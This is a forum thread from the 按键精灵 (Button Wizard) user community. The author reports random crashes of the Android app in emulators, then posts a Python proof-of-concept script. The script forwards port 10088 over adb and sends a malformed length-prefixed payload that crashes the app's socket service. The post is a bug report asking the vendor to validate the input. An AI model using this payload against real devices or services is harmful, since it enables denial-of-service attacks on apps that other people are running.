• 按键公众号 ：
按键精灵电脑版
立即下载

软件版本：2014.06
软件大小：22.9M
更新时间：2021-12-03

按键精灵安卓版
立即下载

软件版本：5.1.0
软件大小：80.6M
更新时间：2026-7-30

按键精灵iOS版
立即下载

软件版本：2.5.2
软件大小：29.2M
更新时间：2026-8-26

按键手机助手
立即下载

软件版本：5.1.0
软件大小：307M
更新时间：2026-7-30

快捷导航

请 登录 后使用快捷导航
没有帐号？ 注册

登录 注册
返回列表
发新话题 回复该主题
查看: 1248|回复: 1

[讨论] 记一次按键精灵安卓手机版闪退排查终记 [复制链接]

shalj
头像

shalj

  • 幼儿园
  • 2803937
  • 3
  • 0
  • 7 朵
  • 31 个
  • 11 个
  • 0
  • 2014-10-14
1#
t T
发表于 2026-08-10 11:59 | |只看楼主
模拟器环境： 雷电模拟器：版本9.2.0.0+安卓9
mumu模拟器：版本6.4.6+安卓12/安卓15
故障现象：
按键精灵在运行中，每日下午15时居多，触发随机闪退。
日志：
路径：com.cyjh.mobileanjian\CrashLog\2026-xx-xx-xx-xx-xx.log


故障复现脚本运行截图：

python脚本见附件，有兴趣可以研究，建议官方针对10088端口接收内容异常进行判断，避免崩溃

点赞
回顶部
shalj
头像

shalj

  • 幼儿园
  • 2803937
  • 3
  • 0
  • 7 朵
  • 31 个
  • 11 个
  • 0
  • 2014-10-14
2#
t T
发表于 2026-08-14 18:11 | |只看楼主

  1. import socket
  2. import subprocess
  3. import time

  5. # ====================== 可配置参数 ======================
  6. ADB_CONNECT_IP = "127.0.0.1" # 模拟器adb地址
  7. ADB_CONNECT_PORT = 5561 # 模拟器adb端口，MuMu默认5555+2*N
  8. FORWARD_LOCAL_PORT = 10088
  9. FORWARD_REMOTE_PORT = 10088
  10. SOCKET_TIMEOUT = 3
  11. # =======================================================


  14. def adb_connect(host: str, port: int):
  15. """执行adb connect 模拟器ip:端口"""
  16. addr = f"{host}:{port}"
  17. try:
  18. print(f"[*] 尝试adb connect {addr}")
  19. ret = subprocess.run(
  20. ["adb", "connect", addr],
  21. capture_output=True,
  22. text=True,
  23. timeout=10
  24. )
  25. stdout = ret.stdout.strip()
  26. stderr = ret.stderr.strip()
  27. print(f" adb connect输出: {stdout} {stderr}")
  28. if ret.returncode != 0:
  29. print(f"[!] adb connect失败: {stderr}")
  30. return False
  31. if "cannot connect" in stdout.lower() or "failed" in stdout.lower():
  32. print(f"[!] adb connect无法连接模拟器 {addr}，确认模拟器adb端口开启")
  33. return False
  34. return True
  35. except FileNotFoundError:
  36. print("[!] 未找到adb命令，请将adb加入系统PATH")
  37. return False
  38. except subprocess.TimeoutExpired:
  39. print("[!] adb connect执行超时")
  40. return False


  43. def setup_adb_forward(local_port: int, remote_port: int):
  44. """检查并设置adb forward"""
  45. try:
  46. ret = subprocess.run(
  47. ["adb", "forward", "--list"],
  48. capture_output=True,
  49. text=True,
  50. timeout=8
  51. )
  52. if ret.returncode != 0:
  53. print(f"[!] adb查询转发失败: {ret.stderr.strip()}")
  54. return False

  56. forward_line = f"tcp:{local_port} tcp:{remote_port}"
  57. if forward_line in ret.stdout:
  58. print(f"[+] adb转发已存在: {forward_line}")
  59. return True

  61. print(f"[*] 创建adb forward tcp:{local_port} -> tcp:{remote_port}")
  62. ret2 = subprocess.run(
  63. ["adb", "forward", f"tcp:{local_port}", f"tcp:{remote_port}"],
  64. capture_output=True,
  65. text=True,
  66. timeout=8
  67. )
  68. if ret2.returncode != 0:
  69. print(f"[!] adb forward执行失败: {ret2.stderr.strip()}")
  70. return False
  71. time.sleep(0.3)
  72. print("[+] adb转发创建成功")
  73. return True
  74. except FileNotFoundError:
  75. print("[!] 未找到adb命令")
  76. return False
  77. except subprocess.TimeoutExpired:
  78. print("[!] adb命令超时")
  79. return False


  82. def exploit_10088_crash():
  83. # 第一步：adb connect连接模拟器
  84. ok_conn = adb_connect(ADB_CONNECT_IP, ADB_CONNECT_PORT)
  85. if not ok_conn:
  86. print("[!] adb连接模拟器失败，脚本退出")
  87. return

  89. # 第二步：设置端口转发
  90. ok_fwd = setup_adb_forward(FORWARD_LOCAL_PORT, FORWARD_REMOTE_PORT)
  91. if not ok_fwd:
  92. print("[!] adb forward失败，脚本退出")
  93. return

  95. host = "127.0.0.1"
  96. port = FORWARD_LOCAL_PORT

  98. # 构造崩溃payload
  99. length_header = bytes([0x00, 0x00, 0x00, 0x05])
  100. garbage_body = bytes([0x01, 0x02, 0x03, 0x04, 0x05])
  101. payload = length_header + garbage_body

  103. try:
  104. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  105. sock.settimeout(SOCKET_TIMEOUT)
  106. sock.connect((host, port))
  107. print(f"[+] 成功连接 {host}:{port}")
  108. sock.sendall(payload)
  109. print("[*] 已发送NPE崩溃payload，观察模拟器按键精灵进程是否闪退")
  110. sock.close()

  112. except ConnectionRefusedError:
  113. print("[!] 连接被拒绝！")
  114. print(" 1.模拟器内按键精灵socket服务是否启动，确认0.0.0.0:10088 LISTEN")
  115. print(" 2.按键精灵已经崩溃的话需要手动重启APP")
  116. except socket.timeout:
  117. print("[!] 连接超时，端口不可达")
  118. except Exception as e:
  119. print(f"[!] 异常: {type(e)} {e}")


  122. if __name__ == "__main__":
  123. exploit_10088_crash()
复制代码
回顶部
上一主题| 下一主题
返回列表
发新话题 回复该主题
高级编辑器高级编辑器